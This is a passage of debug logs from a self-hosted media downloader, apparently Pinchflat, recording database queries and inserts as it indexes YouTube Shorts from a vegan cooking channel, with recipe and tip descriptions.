OVER CHOPPED VEG IN A GLASS JAR!\n\nWatch my other full-length videos on pickling below! \nHOW TO MAKE QUICK PICKLED JALAPEÑOS: https://youtu.be/_Va9Zy4IyNQ\nHOW TO MAKE QUICK PICKLED RED ONION: https://youtu.be/kmBLjqO1DM8", "How to make pickled red cabbage! #shorts #youtubeshorts", "fbcf51a6-95c2-4ca8-9ae2-54b1811542c3", 1, [], 15, false, "2K6zooy6s04", "https://www.youtube.com/shorts/2K6zooy6s04", 271, "/downloads/downloads/alec/Steamy Vegan/2022-08-08 How to make pickled red cabbage! #shorts #youtubeshorts/How to make pickled red cabbage! #shorts #youtubeshorts [2K6zooy6s04].NA", false, false, true, 0, ~U[2022-08-08 17:03:02Z], ~U[2026-03-22 03:27:42Z], ~U[2026-03-22 03:27:42Z], "Make your own pickled red cabbage! You can pickle almost any veggie and all you need is a few simple ingredients to make your own pickling brine:\n1 + 1/4 C water\n1 + 1/4 C white vinegar\n2 tsp salt\n1 tsp sugar\nMIX ABOVE INGREDIENTS IN A POT - BRING TO BOIL - POUR OVER CHOPPED VEG IN A GLASS JAR!\n\nWatch my other full-length videos on pickling below! \nHOW TO MAKE QUICK PICKLED JALAPEÑOS: https://youtu.be/_Va9Zy4IyNQ\nHOW TO MAKE QUICK PICKLED RED ONION: https://youtu.be/kmBLjqO1DM8", "How to make pickled red cabbage! #shorts #youtubeshorts", 1, 15, false, "2K6zooy6s04", "https://www.youtube.com/shorts/2K6zooy6s04", "/downloads/downloads/alec/Steamy Vegan/2022-08-08 How to make pickled red cabbage! #shorts #youtubeshorts/How to make pickled red cabbage! #shorts #youtubeshorts [2K6zooy6s04].NA", true, ~U[2022-08-08 17:03:02Z]] 20:27:42.221 [debug] QUERY OK source="sources" db=0.6ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:42.221 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:42.222 [debug] QUERY OK source="media_items" db=0.6ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [660] 20:27:42.222 [debug] Current batch of media processed. Will check again in 1000ms 20:27:43.223 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "What I eat in a day as a vegan (gluten-free)! 🌱 Everything I eat I try to make easy, cheap and yummy! \n\nCheck out my channel @steamyvegan for lots of plant-based recipes to drool over 😉", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-07 What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts/What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts [cRZp4OZ-39s].NA", "id" => "cRZp4OZ-39s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/cRZp4OZ-39s", "playlist_index" => 272, "timestamp" => 1659894976, "title" => "What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts", "upload_date" => "20220807"} 20:27:43.224 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:43.225 [debug] QUERY OK source="sources" db=0.7ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:43.229 [debug] QUERY OK source="media_items" db=3.0ms idle=1003.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-07 17:56:16Z], 1] 20:27:43.230 [debug] QUERY OK source="media_items" db=1.1ms idle=1004.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan (gluten-free)! 🌱 Everything I eat I try to make easy, cheap and yummy! \n\nCheck out my channel @steamyvegan for lots of plant-based recipes to drool over 😉", "What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts", "be3f71e5-259f-4488-b18e-bc7c40febd70", 1, [], 15, false, "cRZp4OZ-39s", "https://www.youtube.com/shorts/cRZp4OZ-39s", 272, "/downloads/downloads/alec/Steamy Vegan/2022-08-07 What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts/What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts [cRZp4OZ-39s].NA", false, false, true, 0, ~U[2022-08-07 17:56:16Z], ~U[2026-03-22 03:27:43Z], ~U[2026-03-22 03:27:43Z], "What I eat in a day as a vegan (gluten-free)! 🌱 Everything I eat I try to make easy, cheap and yummy! \n\nCheck out my channel @steamyvegan for lots of plant-based recipes to drool over 😉", "What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts", 1, 15, false, "cRZp4OZ-39s", "https://www.youtube.com/shorts/cRZp4OZ-39s", "/downloads/downloads/alec/Steamy Vegan/2022-08-07 What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts/What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts [cRZp4OZ-39s].NA", true, ~U[2022-08-07 17:56:16Z]] 20:27:43.231 [debug] QUERY OK source="sources" db=0.6ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:43.232 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:43.233 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [661] 20:27:43.233 [debug] Current batch of media processed. Will check again in 1000ms 20:27:44.234 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Today on the channel, we're reviewing 2 non-dairy, vegan milk alternatives. Could one of these be the best non dairy milk on the market today? There's only one way to truly find out and that's with the Cookie Dunk.\n\nSubscribe and check out the full review video.\n\nFull VIdeo Link: https://youtu.be/UwWh1cqEDy8", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-06 The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts/The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts [-et9meE53KU].NA", "id" => "-et9meE53KU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/-et9meE53KU", "playlist_index" => 273, "timestamp" => 1659804300, "title" => "The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts", "upload_date" => "20220806"} 20:27:44.235 [debug] QUERY OK source="sources" db=0.4ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:44.235 [debug] QUERY OK source="sources" db=0.2ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:44.238 [debug] QUERY OK source="media_items" db=2.5ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-06 16:45:00Z], 1] 20:27:44.239 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today on the channel, we're reviewing 2 non-dairy, vegan milk alternatives. Could one of these be the best non dairy milk on the market today? There's only one way to truly find out and that's with the Cookie Dunk.\n\nSubscribe and check out the full review video.\n\nFull VIdeo Link: https://youtu.be/UwWh1cqEDy8", "The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts", "e43f4325-b031-4dd2-a2f0-55769125c5e6", 1, [], 14, false, "-et9meE53KU", "https://www.youtube.com/shorts/-et9meE53KU", 273, "/downloads/downloads/alec/Steamy Vegan/2022-08-06 The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts/The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts [-et9meE53KU].NA", false, false, true, 1, ~U[2022-08-06 16:45:00Z], ~U[2026-03-22 03:27:44Z], ~U[2026-03-22 03:27:44Z], "Today on the channel, we're reviewing 2 non-dairy, vegan milk alternatives. Could one of these be the best non dairy milk on the market today? There's only one way to truly find out and that's with the Cookie Dunk.\n\nSubscribe and check out the full review video.\n\nFull VIdeo Link: https://youtu.be/UwWh1cqEDy8", "The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts", 1, 14, false, "-et9meE53KU", "https://www.youtube.com/shorts/-et9meE53KU", "/downloads/downloads/alec/Steamy Vegan/2022-08-06 The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts/The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts [-et9meE53KU].NA", true, ~U[2022-08-06 16:45:00Z]] 20:27:44.240 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:44.241 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:44.242 [debug] QUERY OK source="media_items" db=0.2ms queue=0.3ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [662] 20:27:44.242 [debug] Current batch of media processed. Will check again in 1000ms 20:27:45.243 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "duration" => 19, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-06 How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts/How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts [5rz7A8x_Z8g].NA", "id" => "5rz7A8x_Z8g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/5rz7A8x_Z8g", "playlist_index" => 274, "timestamp" => 1659801003, "title" => "How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts", "upload_date" => "20220806"} 20:27:45.244 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:45.245 [debug] QUERY OK source="sources" db=0.6ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:45.247 [debug] QUERY OK source="media_items" db=1.7ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-06 15:50:03Z], 1] 20:27:45.248 [debug] QUERY OK source="media_items" db=1.1ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts", "0cdd6a1d-f8d0-4819-8931-b4fe00485902", 1, [], 19, false, "5rz7A8x_Z8g", "https://www.youtube.com/shorts/5rz7A8x_Z8g", 274, "/downloads/downloads/alec/Steamy Vegan/2022-08-06 How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts/How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts [5rz7A8x_Z8g].NA", false, false, true, 2, ~U[2022-08-06 15:50:03Z], ~U[2026-03-22 03:27:45Z], ~U[2026-03-22 03:27:45Z], "HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts", 1, 19, false, "5rz7A8x_Z8g", "https://www.youtube.com/shorts/5rz7A8x_Z8g", "/downloads/downloads/alec/Steamy Vegan/2022-08-06 How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts/How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts [5rz7A8x_Z8g].NA", true, ~U[2022-08-06 15:50:03Z]] 20:27:45.249 [debug] QUERY OK source="sources" db=0.8ms idle=17.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:45.250 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:45.251 [debug] QUERY OK source="media_items" db=0.6ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [663] 20:27:45.251 [debug] Current batch of media processed. Will check again in 1000ms 20:27:45.543 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:46.252 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "duration" => 16, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts [7c2p7kRwy8I].NA", "id" => "7c2p7kRwy8I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/7c2p7kRwy8I", "playlist_index" => 275, "timestamp" => 1659711605, "title" => "How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts", "upload_date" => "20220805"} 20:27:46.253 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:46.254 [debug] QUERY OK source="sources" db=0.7ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:46.257 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-05 15:00:05Z], 1] 20:27:46.258 [debug] QUERY OK source="media_items" db=1.2ms 